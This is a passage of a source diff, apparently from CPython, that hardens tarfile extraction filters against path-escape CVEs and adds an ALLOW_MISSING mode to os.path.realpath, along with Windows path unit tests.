++  (Contributed by Petr Viktorin in :gh:`127987` and :cve:`2025-4138`.)
++* :func:`~tarfile.TarFile.extractall` now skips fixing up directory attributes
++  when a directory was removed or replaced by another kind of file.
++  (Contributed by Petr Viktorin in :gh:`127987` and :cve:`2024-12718`.)
++* :func:`~tarfile.TarFile.extract` and :func:`~tarfile.TarFile.extractall`
++  now (re-)apply the extraction filter when substituting a link (hard or
++  symbolic) with a copy of another archive member, and when fixing up
++  directory attributes.
++  The former raises a new exception, :exc:`~tarfile.LinkFallbackError`.
++  (Contributed by Petr Viktorin for :cve:`2025-4330` and :cve:`2024-12718`.)
++* :func:`~tarfile.TarFile.extract` and :func:`~tarfile.TarFile.extractall`
++  no longer extract rejected members when
++  :func:`~tarfile.TarFile.errorlevel` is zero.
++  (Contributed by Matt Prodani and Petr Viktorin in :gh:`112887`
++  and :cve:`2025-4435`.)
++
++
+ threading
+ ---------
+ 
+diff --git a/Lib/genericpath.py b/Lib/genericpath.py
+index ba7b0a13c7f81d..9363f564aab7a6 100644
+--- a/Lib/genericpath.py
++++ b/Lib/genericpath.py
+@@ -8,7 +8,7 @@
+ 
+ __all__ = ['commonprefix', 'exists', 'getatime', 'getctime', 'getmtime',
+            'getsize', 'isdevdrive', 'isdir', 'isfile', 'isjunction', 'islink',
+-           'lexists', 'samefile', 'sameopenfile', 'samestat']
++           'lexists', 'samefile', 'sameopenfile', 'samestat', 'ALLOW_MISSING']
+ 
+ 
+ # Does a path exist?
+@@ -189,3 +189,12 @@ def _check_arg_types(funcname, *args):
+                             f'os.PathLike object, not {s.__class__.__name__!r}') from None
+     if hasstr and hasbytes:
+         raise TypeError("Can't mix strings and bytes in path components") from None
++
++# A singleton with a true boolean value.
++@object.__new__
++class ALLOW_MISSING:
++    """Special value for use in realpath()."""
++    def __repr__(self):
++        return 'os.path.ALLOW_MISSING'
++    def __reduce__(self):
++        return self.__class__.__name__
+diff --git a/Lib/ntpath.py b/Lib/ntpath.py
+index 52ff2af743af6c..9cdc16480f9afe 100644
+--- a/Lib/ntpath.py
++++ b/Lib/ntpath.py
+@@ -29,7 +29,7 @@
+            "abspath","curdir","pardir","sep","pathsep","defpath","altsep",
+            "extsep","devnull","realpath","supports_unicode_filenames","relpath",
+            "samefile", "sameopenfile", "samestat", "commonpath", "isjunction",
+-           "isdevdrive"]
++           "isdevdrive", "ALLOW_MISSING"]
+ 
+ def _get_bothseps(path):
+     if isinstance(path, bytes):
+@@ -601,9 +601,10 @@ def abspath(path):
+     from nt import _findfirstfile, _getfinalpathname, readlink as _nt_readlink
+ except ImportError:
+     # realpath is a no-op on systems without _getfinalpathname support.
+-    realpath = abspath
++    def realpath(path, *, strict=False):
++        return abspath(path)
+ else:
+-    def _readlink_deep(path):
++    def _readlink_deep(path, ignored_error=OSError):
+         # These error codes indicate that we should stop reading links and
+         # return the path we currently have.
+         # 1: ERROR_INVALID_FUNCTION
+@@ -636,7 +637,7 @@ def _readlink_deep(path):
+                         path = old_path
+                         break
+                     path = normpath(join(dirname(old_path), path))
+-            except OSError as ex:
++            except ignored_error as ex:
+                 if ex.winerror in allowed_winerror:
+                     break
+                 raise
+@@ -645,7 +646,7 @@ def _readlink_deep(path):
+                 break
+         return path
+ 
+-    def _getfinalpathname_nonstrict(path):
++    def _getfinalpathname_nonstrict(path, ignored_error=OSError):
+         # These error codes indicate that we should stop resolving the path
+         # and return the value we currently have.
+         # 1: ERROR_INVALID_FUNCTION
+@@ -673,17 +674,18 @@ def _getfinalpathname_nonstrict(path):
+             try:
+                 path = _getfinalpathname(path)
+                 return join(path, tail) if tail else path
+-            except OSError as ex:
++            except ignored_error as ex:
+                 if ex.winerror not in allowed_winerror:
+                     raise
+                 try:
+                     # The OS could not resolve this path fully, so we attempt
+                     # to follow the link ourselves. If we succeed, join the tail
+                     # and return.
+-                    new_path = _readlink_deep(path)
++                    new_path = _readlink_deep(path,
++                                              ignored_error=ignored_error)
+                     if new_path != path:
+                         return join(new_path, tail) if tail else new_path
+-                except OSError:
++                except ignored_error:
+                     # If we fail to readlink(), let's keep traversing
+                     pass
+                 # If we get these errors, try to get the real name of the file without accessing it.
+@@ -691,7 +693,7 @@ def _getfinalpathname_nonstrict(path):
+                     try:
+                         name = _findfirstfile(path)
+                         path, _ = split(path)
+-                    except OSError:
++                    except ignored_error:
+                         path, name = split(path)
+                 else:
+                     path, name = split(path)
+@@ -721,6 +723,15 @@ def realpath(path, *, strict=False):
+             if normcase(path) == devnull:
+                 return '\\\\.\\NUL'
+         had_prefix = path.startswith(prefix)
++
++        if strict is ALLOW_MISSING:
++            ignored_error = FileNotFoundError
++            strict = True
++        elif strict:
++            ignored_error = ()
++        else:
++            ignored_error = OSError
++
+         if not had_prefix and not isabs(path):
+             path = join(cwd, path)
+         try:
+@@ -728,17 +739,16 @@ def realpath(path, *, strict=False):
+             initial_winerror = 0
+         except ValueError as ex:
+             # gh-106242: Raised for embedded null characters
+-            # In strict mode, we convert into an OSError.
++            # In strict modes, we convert into an OSError.
+             # Non-strict mode returns the path as-is, since we've already
+             # made it absolute.
+             if strict:
+                 raise OSError(str(ex)) from None
+             path = normpath(path)
+-        except OSError as ex:
+-            if strict:
+-                raise
++        except ignored_error as ex:
+             initial_winerror = ex.winerror
+-            path = _getfinalpathname_nonstrict(path)
++            path = _getfinalpathname_nonstrict(path,
++                                               ignored_error=ignored_error)
+         # The path returned by _getfinalpathname will always start with \\?\ -
+         # strip off that prefix unless it was already provided on the original
+         # path.
+diff --git a/Lib/posixpath.py b/Lib/posixpath.py
+index db72ded8826056..d38f3bd5872bcd 100644
+--- a/Lib/posixpath.py
++++ b/Lib/posixpath.py
+@@ -36,7 +36,7 @@
+            "samefile","sameopenfile","samestat",
+            "curdir","pardir","sep","pathsep","defpath","altsep","extsep",
+            "devnull","realpath","supports_unicode_filenames","relpath",
+-           "commonpath", "isjunction","isdevdrive"]
++           "commonpath", "isjunction","isdevdrive","ALLOW_MISSING"]
+ 
+ 
+ def _get_sep(path):
+@@ -402,10 +402,18 @@ def realpath(filename, *, strict=False):
+         curdir = '.'
+         pardir = '..'
+         getcwd = os.getcwd
+-    return _realpath(filename, strict, sep, curdir, pardir, getcwd)
++    if strict is ALLOW_MISSING:
++        ignored_error = FileNotFoundError
++        strict = True
++    elif strict:
++        ignored_error = ()
++    else:
++        ignored_error = OSError
++
++    lstat = os.lstat
++    readlink = os.readlink
++    maxlinks = None
+ 
+-def _realpath(filename, strict=False, sep=sep, curdir=curdir, pardir=pardir,
+-              getcwd=os.getcwd, lstat=os.lstat, readlink=os.readlink, maxlinks=None):
+     # The stack of unresolved path parts. When popped, a special value of None
+     # indicates that a symlink target has been resolved, and that the original
+     # symlink path can be retrieved by popping again. The [::-1] slice is a
+@@ -477,27 +485,28 @@ def _realpath(filename, strict=False, sep=sep, curdir=curdir, pardir=pardir,
+                 path = newpath
+                 continue
+             target = readlink(newpath)
+-        except OSError:
+-            if strict:
+-                raise
+-            path = newpath
++        except ignored_error:
++            pass
++        else:
++            # Resolve the symbolic link
++            if target.startswith(sep):
++                # Symlink target is absolute; reset resolved path.
++                path = sep
++            if maxlinks is None:
++                # Mark this symlink as seen but not fully resolved.
++                seen[newpath] = None
++                # Push the symlink path onto the stack, and signal its specialness
++                # by also pushing None. When these entries are popped, we'll
++                # record the fully-resolved symlink target in the 'seen' mapping.
++                rest.append(newpath)
++                rest.append(None)
++            # Push the unresolved symlink target parts onto the stack.
++            target_parts = target.split(sep)[::-1]
++            rest.extend(target_parts)
++            part_count += len(target_parts)
+             continue
+-        # Resolve the symbolic link
+-        if target.startswith(sep):
+-            # Symlink target is absolute; reset resolved path.
+-            path = sep
+-        if maxlinks is None:
+-            # Mark this symlink as seen but not fully resolved.
+-            seen[newpath] = None
+-            # Push the symlink path onto the stack, and signal its specialness
+-            # by also pushing None. When these entries are popped, we'll
+-            # record the fully-resolved symlink target in the 'seen' mapping.
+-            rest.append(newpath)
+-            rest.append(None)
+-        # Push the unresolved symlink target parts onto the stack.
+-        target_parts = target.split(sep)[::-1]
+-        rest.extend(target_parts)
+-        part_count += len(target_parts)
++        # An error occurred and was ignored.
++        path = newpath
+ 
+     return path
+ 
+diff --git a/Lib/tarfile.py b/Lib/tarfile.py
+index 212b71f6509740..068aa13ed70356 100644
+--- a/Lib/tarfile.py
++++ b/Lib/tarfile.py
+@@ -67,7 +67,7 @@
+            "DEFAULT_FORMAT", "open","fully_trusted_filter", "data_filter",
+            "tar_filter", "FilterError", "AbsoluteLinkError",
+            "OutsideDestinationError", "SpecialFileError", "AbsolutePathError",
+-           "LinkOutsideDestinationError"]
++           "LinkOutsideDestinationError", "LinkFallbackError"]
+ 
+ 
+ #---------------------------------------------------------
+@@ -766,10 +766,22 @@ def __init__(self, tarinfo, path):
+         super().__init__(f'{tarinfo.name!r} would link to {path!r}, '
+                          + 'which is outside the destination')
+ 
++class LinkFallbackError(FilterError):
++    def __init__(self, tarinfo, path):
++        self.tarinfo = tarinfo
++        self._path = path
++        super().__init__(f'link {tarinfo.name!r} would be extracted as a '
++                         + f'copy of {path!r}, which was rejected')
++
++# Errors caused by filters -- both "fatal" and "non-fatal" -- that
++# we consider to be issues with the argument, rather than a bug in the
++# filter function
++_FILTER_ERRORS = (FilterError, OSError, ExtractError)
++
+ def _get_filtered_attrs(member, dest_path, for_data=True):
+     new_attrs = {}
+     name = member.name
+-    dest_path = os.path.realpath(dest_path)
++    dest_path = os.path.realpath(dest_path, strict=os.path.ALLOW_MISSING)
+     # Strip leading / (tar's directory separator) from filenames.
+     # Include os.sep (target OS directory separator) as well.
+     if name.startswith(('/', os.sep)):
+@@ -779,7 +791,8 @@ def _get_filtered_attrs(member, dest_path, for_data=True):
+         # For example, 'C:/foo' on Windows.
+         raise AbsolutePathError(member)
+     # Ensure we stay in the destination
+-    target_path = os.path.realpath(os.path.join(dest_path, name))
++    target_path = os.path.realpath(os.path.join(dest_path, name),
++                                   strict=os.path.ALLOW_MISSING)
+     if os.path.commonpath([target_path, dest_path]) != dest_path:
+         raise OutsideDestinationError(member, target_path)
+     # Limit permissions (no high bits, and go-w)
+@@ -817,6 +830,9 @@ def _get_filtered_attrs(member, dest_path, for_data=True):
+         if member.islnk() or member.issym():
+             if os.path.isabs(member.linkname):
+                 raise AbsoluteLinkError(member)
++            normalized = os.path.normpath(member.linkname)
++            if normalized != member.linkname:
++                new_attrs['linkname'] = normalized
+             if member.issym():
+                 target_path = os.path.join(dest_path,
+                                            os.path.dirname(name),
+@@ -824,7 +840,8 @@ def _get_filtered_attrs(member, dest_path, for_data=True):
+             else:
+                 target_path = os.path.join(dest_path,
+                                            member.linkname)
+-            target_path = os.path.realpath(target_path)
++            target_path = os.path.realpath(target_path,
++                                           strict=os.path.ALLOW_MISSING)
+             if os.path.commonpath([target_path, dest_path]) != dest_path:
+                 raise LinkOutsideDestinationError(member, target_path)
+     return new_attrs
+@@ -2386,30 +2403,58 @@ def extractall(self, path=".", members=None, *, numeric_owner=False,
+             members = self
+ 
+         for member in members:
+-            tarinfo = self._get_extract_tarinfo(member, filter_function, path)
++            tarinfo, unfiltered = self._get_extract_tarinfo(
++                member, filter_function, path)
+             if tarinfo is None:
+                 continue
+             if tarinfo.isdir():
+                 # For directories, delay setting attributes until later,
+                 # since permissions can interfere with extraction and
+                 # extracting contents can reset mtime.
+-                directories.append(tarinfo)
++                directories.append(unfiltered)
+             self._extract_one(tarinfo, path, set_attrs=not tarinfo.isdir(),
+-                              numeric_owner=numeric_owner)
++                              numeric_owner=numeric_owner,
++                              filter_function=filter_function)
+ 
+         # Reverse sort directories.
+         directories.sort(key=lambda a: a.name, reverse=True)
+ 
++
+         # Set correct owner, mtime and filemode on directories.
+-        for tarinfo in directories:
+-            dirpath = os.path.join(path, tarinfo.name)
++        for unfiltered in directories:
+             try:
++                # Need to re-apply any filter, to take the *current* filesystem
++                # state into account.
++                try:
++                    tarinfo = filter_function(unfiltered, path)
++                except _FILTER_ERRORS as exc:
++                    self._log_no_directory_fixup(unfiltered, repr(exc))
++                    continue
++                if tarinfo is None:
++                    self._log_no_directory_fixup(unfiltered,
++                                                 'excluded by filter')
++                    continue
++                dirpath = os.path.join(path, tarinfo.name)
++                try:
++                    lstat = os.lstat(dirpath)
++                except FileNotFoundError:
++                    self._log_no_directory_fixup(tarinfo, 'missing')
++                    continue
++                if not stat.S_ISDIR(lstat.st_mode):
++                    # This is no longer a directory; presumably a later
++                    # member overwrote the entry.
++                    self._log_no_directory_fixup(tarinfo, 'not a directory')
++                    continue
+                 self.chown(tarinfo, dirpath, numeric_owner=numeric_owner)
+                 self.utime(tarinfo, dirpath)
+                 self.chmod(tarinfo, dirpath)
+             except ExtractError as e:
+                 self._handle_nonfatal_error(e)
+ 
++    def _log_no_directory_fixup(self, member, reason):
++        self._dbg(2, "tarfile: Not fixing up directory %r (%s)" %
++                  (member.name, reason))
++
+     def extract(self, member, path="", set_attrs=True, *, numeric_owner=False,
+                 filter=None):
+         """Extract a member from the archive to the current working directory,
+@@ -2425,41 +2470,56 @@ def extract(self, member, path="", set_attrs=True, *, numeric_owner=False,
+            String names of common filters are accepted.
+         """
+         filter_function = self._get_filter_function(filter)
+-        tarinfo = self._get_extract_tarinfo(member, filter_function, path)
++        tarinfo, unfiltered = self._get_extract_tarinfo(
++            member, filter_function, path)
+         if tarinfo is not None:
+             self._extract_one(tarinfo, path, set_attrs, numeric_owner)
+ 
+     def _get_extract_tarinfo(self, member, filter_function, path):
+-        """Get filtered TarInfo (or None) from member, which might be a str"""
++        """Get (filtered, unfiltered) TarInfos from *member*
++
++        *member* might be a string.
++
++        Return (None, None) if not found.
++        """
++
+         if isinstance(member, str):
+-            tarinfo = self.getmember(member)
++            unfiltered = self.getmember(member)
+         else:
+-            tarinfo = member
++            unfiltered = member
+ 
+-        unfiltered = tarinfo
++        filtered = None
+         try:
+-            tarinfo = filter_function(tarinfo, path)
++            filtered = filter_function(unfiltered, path)
+         except (OSError, UnicodeEncodeError, FilterError) as e:
+             self._handle_fatal_error(e)
+         except ExtractError as e:
+             self._handle_nonfatal_error(e)
+-        if tarinfo is None:
++        if filtered is None:
+             self._dbg(2, "tarfile: Excluded %r" % unfiltered.name)
+-            return None
++            return None, None
++
+         # Prepare the link target for makelink().
+-        if tarinfo.islnk():
+-            tarinfo = copy.copy(tarinfo)
+-            tarinfo._link_target = os.path.join(path, tarinfo.linkname)
+-        return tarinfo
++        if filtered.islnk():
++            filtered = copy.copy(filtered)
++            filtered._link_target = os.path.join(path, filtered.linkname)
++        return filtered, unfiltered
++
++    def _extract_one(self, tarinfo, path, set_attrs, numeric_owner,
++                     filter_function=None):
++        """Extract from filtered tarinfo to disk.
+ 
+-    def _extract_one(self, tarinfo, path, set_attrs, numeric_owner):
+-        """Extract from filtered tarinfo to disk"""
++           filter_function is only used when extracting a *different*
++           member (e.g. as fallback to creating a symlink)
++        """
+         self._check("r")
+ 
+         try:
+             self._extract_member(tarinfo, os.path.join(path, tarinfo.name),
+                                  set_attrs=set_attrs,
+-                                 numeric_owner=numeric_owner)
++                                 numeric_owner=numeric_owner,
++                                 filter_function=filter_function,
++                                 extraction_root=path)
+         except (OSError, UnicodeEncodeError) as e:
+             self._handle_fatal_error(e)
+         except ExtractError as e:
+@@ -2517,9 +2577,13 @@ def extractfile(self, member):
+             return None
+ 
+     def _extract_member(self, tarinfo, targetpath, set_attrs=True,
+-                        numeric_owner=False):
+-        """Extract the TarInfo object tarinfo to a physical
++                        numeric_owner=False, *, filter_function=None,
++                        extraction_root=None):
++        """Extract the filtered TarInfo object tarinfo to a physical
+            file called targetpath.
++
++           filter_function is only used when extracting a *different*
++           member (e.g. as fallback to creating a symlink)
+         """
+         # Fetch the TarInfo object for the given name
+         # and build the destination pathname, replacing
+@@ -2548,7 +2612,10 @@ def _extract_member(self, tarinfo, targetpath, set_attrs=True,
+         elif tarinfo.ischr() or tarinfo.isblk():
+             self.makedev(tarinfo, targetpath)
+         elif tarinfo.islnk() or tarinfo.issym():
+-            self.makelink(tarinfo, targetpath)
++            self.makelink_with_filter(
++                tarinfo, targetpath,
++                filter_function=filter_function,
++                extraction_root=extraction_root)
+         elif tarinfo.type not in SUPPORTED_TYPES:
+             self.makeunknown(tarinfo, targetpath)
+         else:
+@@ -2631,10 +2698,18 @@ def makedev(self, tarinfo, targetpath):
+                  os.makedev(tarinfo.devmajor, tarinfo.devminor))
+ 
+     def makelink(self, tarinfo, targetpath):
++        return self.makelink_with_filter(tarinfo, targetpath, None, None)
++
++    def makelink_with_filter(self, tarinfo, targetpath,
++                             filter_function, extraction_root):
+         """Make a (symbolic) link called targetpath. If it cannot be created
+           (platform limitation), we try to make a copy of the referenced file
+           instead of a link.
++
++          filter_function is only used when extracting a *different*
++          member (e.g. as fallback to creating a link).
+         """
++        keyerror_to_extracterror = False
+         try:
+             # For systems that support symbolic and hard links.
+             if tarinfo.issym():
+@@ -2642,18 +2717,38 @@ def makelink(self, tarinfo, targetpath):
+                     # Avoid FileExistsError on following os.symlink.
+                     os.unlink(targetpath)
+                 os.symlink(tarinfo.linkname, targetpath)
++                return
+             else:
+                 if os.path.exists(tarinfo._link_target):
+                     os.link(tarinfo._link_target, targetpath)
+-                else:
+-                    self._extract_member(self._find_link_target(tarinfo),
+-                                         targetpath)
++                    return
+         except symlink_exception:
++            keyerror_to_extracterror = True
++
++        try:
++            unfiltered = self._find_link_target(tarinfo)
++        except KeyError:
++            if keyerror_to_extracterror:
++                raise ExtractError(
++                    "unable to resolve link inside archive") from None
++            else:
++                raise
++
++        if filter_function is None:
++            filtered = unfiltered
++        else:
++            if extraction_root is None:
++                raise ExtractError(
++                    "makelink_with_filter: if filter_function is not None, "
++                    + "extraction_root must also not be None")
+             try:
+-                self._extract_member(self._find_link_target(tarinfo),
+-                                     targetpath)
+-            except KeyError:
+-                raise ExtractError("unable to resolve link inside archive") from None
++                filtered = filter_function(unfiltered, extraction_root)
++            except _FILTER_ERRORS as cause:
++                raise LinkFallbackError(tarinfo, unfiltered.name) from cause
++        if filtered is not None:
++            self._extract_member(filtered, targetpath,
++                                 filter_function=filter_function,
++                                 extraction_root=extraction_root)
+ 
+     def chown(self, tarinfo, targetpath, numeric_owner):
+         """Set owner of targetpath according to tarinfo. If numeric_owner
+diff --git a/Lib/test/test_ntpath.py b/Lib/test/test_ntpath.py
+index f83ef225a6e48e..927a0befcc8c13 100644
+--- a/Lib/test/test_ntpath.py
++++ b/Lib/test/test_ntpath.py
+@@ -7,7 +7,8 @@
+ import unittest
+ import warnings
+ from test.support import cpython_only, os_helper
+-from test.support import TestFailed, is_emscripten
++from test.support import TestFailed
++from ntpath import ALLOW_MISSING
+ from test.support.os_helper import FakePath
+ from test import test_genericpath
+ from tempfile import TemporaryFile
+@@ -77,6 +78,27 @@ def tester(fn, wantResult):
+               %(str(fn), str(wantResult), repr(gotResult)))
+ 
+ 
++def _parameterize(*parameters):
++    """Simplistic decorator to parametrize a test
++
++    Runs the decorated test multiple times in subTest, with a value from
++    'parameters' passed as an extra positional argument.
++    Calls doCleanups() after each run.
++
++    Not for general use. Intended to avoid indenting for easier backports.
++
++    See https://discuss.python.org/t/91827 for discussing generalizations.
++    """
++    def _parametrize_decorator(func):
++        def _parameterized(self, *args, **kwargs):
++            for parameter in parameters:
++                with self.subTest(parameter):
++                    func(self, *args, parameter, **kwargs)
++                self.doCleanups()
++        return _parameterized
++    return _parametrize_decorator
++
++
+ class NtpathTestCase(unittest.TestCase):
+     def assertPathEqual(self, path1, path2):
+         if path1 == path2 or _norm(path1) == _norm(path2):
+@@ -475,6 +497,27 @@ def test_realpath_curdir(self):
+         tester("ntpath.realpath('.\\.')", expected)
+         tester("ntpath.realpath('\\'.join(['.'] * 100))", expected)
+ 
++    def test_realpath_curdir_strict(self):
++        expected = ntpath.normpath(os.getcwd())
++        tester("ntpath.realpath('.', strict=True)", expected)
++        tester("ntpath.realpath('./.', strict=True)", expected)
++        tester("ntpath.realpath('/'.join(['.'] * 100), strict=True)", expected)
++        tester("ntpath.realpath('.\\.', strict=True)", expected)
++        tester("ntpath.realpath('\\'.join(['.'] * 100), strict=True)", expected)
++
++    def test_realpath_curdir_missing_ok(self):
++        expected = ntpath.normpath(os.getcwd())
++        tester("ntpath.realpath('.', strict=ALLOW_MISSING)",
++               expected)
++        tester("ntpath.realpath('./.', strict=ALLOW_MISSING)",
++               expected)
++        tester("ntpath.realpath('/'.join(['.'] * 100), strict=ALLOW_MISSING)",
++               expected)
++        tester("ntpath.realpath('.\\.', strict=ALLOW_MISSING)",
++               expected)
++        tester("ntpath.realpath('\\'.join(['.'] * 100), strict=ALLOW_MISSING)",
++               expected)
++
+     def test_realpath_pardir(self):
+         expected = ntpath.normpath(os.getcwd())
+         tester("ntpath.realpath('..')", ntpath.dirname(expected))
+@@ -487,24 +530,59 @@ def test_realpath_pardir(self):
+         tester("ntpath.realpath('\\'.join(['..'] * 50))",
+                ntpath.splitdrive(expected)[0] + '\\')
+ 
++    def test_realpath_pardir_strict(self):
++        expected = ntpath.normpath(os.getcwd())
++        tester("ntpath.realpath('..', strict=True)", ntpath.dirname(expected))
++        tester("ntpath.realpath('../..', strict=True)",
++               ntpath.dirname(ntpath.dirname(expected)))
++        tester("ntpath.realpath('/'.join(['..'] * 50), strict=True)",
++               ntpath.splitdrive(expected)[0] + '\\')
++        tester("ntpath.realpath('..\\..', strict=True)",
++               ntpath.dirname(ntpath.dirname(expected)))
++        tester("ntpath.realpath('\\'.join(['..'] * 50), strict=True)",
++               ntpath.splitdrive(expected)[0] + '\\')
++
++    def test_realpath_pardir_missing_ok(self):
++        expected = ntpath.normpath(os.getcwd())
++        tester("ntpath.realpath('..', strict=ALLOW_MISSING)",
++               ntpath.dirname(expected))
++        tester("ntpath.realpath('../..', strict=ALLOW_MISSING)",
++               ntpath.dirname(ntpath.dirname(expected)))
++        tester("ntpath.realpath('/'.join(['..'] * 50), strict=ALLOW_MISSING)",
++               ntpath.splitdrive(expected)[0] + '\\')
++        tester("ntpath.realpath('..\\..', strict=ALLOW_MISSING)",
++               ntpath.dirname(ntpath.dirname(expected)))
++        tester("ntpath.realpath('\\'.join(['..'] * 50), strict=ALLOW_MISSING)",
++               ntpath.splitdrive(expected)[0] + '\\')
++
+     @os_helper.skip_unless_symlink
+     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
+-    def test_realpath_basic(self):
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_basic(self, kwargs):
+         ABSTFN = ntpath.abspath(os_helper.TESTFN)
+         open(ABSTFN, "wb").close()
+         self.addCleanup(os_helper.unlink, ABSTFN)
+         self.addCleanup(os_helper.unlink, ABSTFN + "1")
+ 
+         os.symlink(ABSTFN, ABSTFN + "1")
+-        self.assertPathEqual(ntpath.realpath(ABSTFN + "1"), ABSTFN)
+-        self.assertPathEqual(ntpath.realpath(os.fsencode(ABSTFN + "1")),
++        self.assertPathEqual(ntpath.realpath(ABSTFN + "1", **kwargs), ABSTFN)
++        self.assertPathEqual(ntpath.realpath(os.fsencode(ABSTFN + "1"), **kwargs),
+                          os.fsencode(ABSTFN))
+ 
+         # gh-88013: call ntpath.realpath with binary drive name may raise a
+         # TypeError. The drive should not exist to reproduce the bug.
+         drives = {f"{c}:\\" for c in string.ascii_uppercase} - set(os.listdrives())
+         d = drives.pop().encode()
+-        self.assertEqual(ntpath.realpath(d), d)
++        self.assertEqual(ntpath.realpath(d, strict=False), d)
++
++        # gh-106242: Embedded nulls and non-strict fallback to abspath
++        if kwargs:
++            with self.assertRaises(OSError):
++                ntpath.realpath(os_helper.TESTFN + "\0spam",
++                                **kwargs)
++        else:
++            self.assertEqual(ABSTFN + "\0spam",
++                                ntpath.realpath(os_helper.TESTFN + "\0spam", **kwargs))
+ 
+     @os_helper.skip_unless_symlink
+     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
+@@ -527,51 +605,66 @@ def test_realpath_invalid_paths(self):
+         self.assertEqual(realpath(path, strict=False), path)
+         # gh-106242: Embedded nulls should raise OSError (not ValueError)
+         self.assertRaises(OSError, realpath, path, strict=True)
++        self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
+         path = ABSTFNb + b'\x00'
+         self.assertEqual(realpath(path, strict=False), path)
+         self.assertRaises(OSError, realpath, path, strict=True)
++        self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
+         path = ABSTFN + '\\nonexistent\\x\x00'
+         self.assertEqual(realpath(path, strict=False), path)
+         self.assertRaises(OSError, realpath, path, strict=True)
++        self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
+         path = ABSTFNb + b'\\nonexistent\\x\x00'
+         self.assertEqual(realpath(path, strict=False), path)
+         self.assertRaises(OSError, realpath, path, strict=True)
++        self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
+         path = ABSTFN + '\x00\\..'
+         self.assertEqual(realpath(path, strict=False), os.getcwd())
+         self.assertEqual(realpath(path, strict=True), os.getcwd())
++        self.assertEqual(realpath(path, strict=ALLOW_MISSING), os.getcwd())
+         path = ABSTFNb + b'\x00\\..'
+         self.assertEqual(realpath(path, strict=False), os.getcwdb())
+         self.assertEqual(realpath(path, strict=True), os.getcwdb())
++        self.assertEqual(realpath(path, strict=ALLOW_MISSING), os.getcwdb())
+         path = ABSTFN + '\\nonexistent\\x\x00\\..'
+         self.assertEqual(realpath(path, strict=False), ABSTFN + '\\nonexistent')
+         self.assertRaises(OSError, realpath, path, strict=True)
++        self.assertEqual(realpath(path, strict=ALLOW_MISSING), ABSTFN + '\\nonexistent')
+         path = ABSTFNb + b'\\nonexistent\\x\x00\\..'
+         self.assertEqual(realpath(path, strict=False), ABSTFNb + b'\\nonexistent')
+         self.assertRaises(OSError, realpath, path, strict=True)
++        self.assertEqual(realpath(path, strict=ALLOW_MISSING), ABSTFNb + b'\\nonexistent')
+ 
++    @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_invalid_unicode_paths(self, kwargs):
++        realpath = ntpath.realpath
++        ABSTFN = ntpath.abspath(os_helper.TESTFN)
++        ABSTFNb = os.fsencode(ABSTFN)
+         path = ABSTFNb + b'\xff'
+-        self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
+-        self.assertRaises(UnicodeDecodeError, realpath, path, strict=True)
++        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
++        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
+         path = ABSTFNb + b'\\nonexistent\\\xff'
+-        self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
+-        self.assertRaises(UnicodeDecodeError, realpath, path, strict=True)
++        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
++        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
+         path = ABSTFNb + b'\xff\\..'
+-        self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
+-        self.assertRaises(UnicodeDecodeError, realpath, path, strict=True)
++        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
++        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
+         path = ABSTFNb + b'\\nonexistent\\\xff\\..'
+-        self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
+-        self.assertRaises(UnicodeDecodeError, realpath, path, strict=True)
++        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
++        self.assertRaises(UnicodeDecodeError, realpath, path, **kwargs)
+ 
+     @os_helper.skip_unless_symlink
+     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
+-    def test_realpath_relative(self):
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_realpath_relative(self, kwargs):
+         ABSTFN = ntpath.abspath(os_helper.TESTFN)
+         open(ABSTFN, "wb").close()
+         self.addCleanup(os_helper.unlink, ABSTFN)
+         self.addCleanup(os_helper.unlink, ABSTFN + "1")
+ 
+         os.symlink(ABSTFN, ntpath.relpath(ABSTFN + "1"))
+-        self.assertPathEqual(ntpath.realpath(ABSTFN + "1"), ABSTFN)
++        self.assertPathEqual(ntpath.realpath(ABSTFN + "1", **kwargs), ABSTFN)
+ 
+     @os_helper.skip_unless_symlink
+     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
+@@ -723,7 +816,62 @@ def test_realpath_symlink_loops_strict(self):
+ 
+     @os_helper.skip_unless_symlink
+     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
+-    def test_realpath_symlink_prefix(self):
++    def test_realpath_symlink_loops_raise(self):
++        # Symlink loops raise OSError in ALLOW_MISSING mode
++        ABSTFN = ntpath.abspath(os_helper.TESTFN)
++        self.addCleanup(os_helper.unlink, ABSTFN)
++        self.addCleanup(os_helper.unlink, ABSTFN + "1")
++        self.addCleanup(os_helper.unlink, ABSTFN + "2")
++        self.addCleanup(os_helper.unlink, ABSTFN + "y")
++        self.addCleanup(os_helper.unlink, ABSTFN + "c")
++        self.addCleanup(os_helper.unlink, ABSTFN + "a")
++        self.addCleanup(os_helper.unlink, ABSTFN + "x")
++
++        os.symlink(ABSTFN, ABSTFN)
++        self.assertRaises(OSError, ntpath.realpath, ABSTFN, strict=ALLOW_MISSING)
++
++        os.symlink(ABSTFN + "1", ABSTFN + "2")
++        os.symlink(ABSTFN + "2", ABSTFN + "1")
++        self.assertRaises(OSError, ntpath.realpath, ABSTFN + "1",
++                            strict=ALLOW_MISSING)
++        self.assertRaises(OSError, ntpath.realpath, ABSTFN + "2",
++                            strict=ALLOW_MISSING)
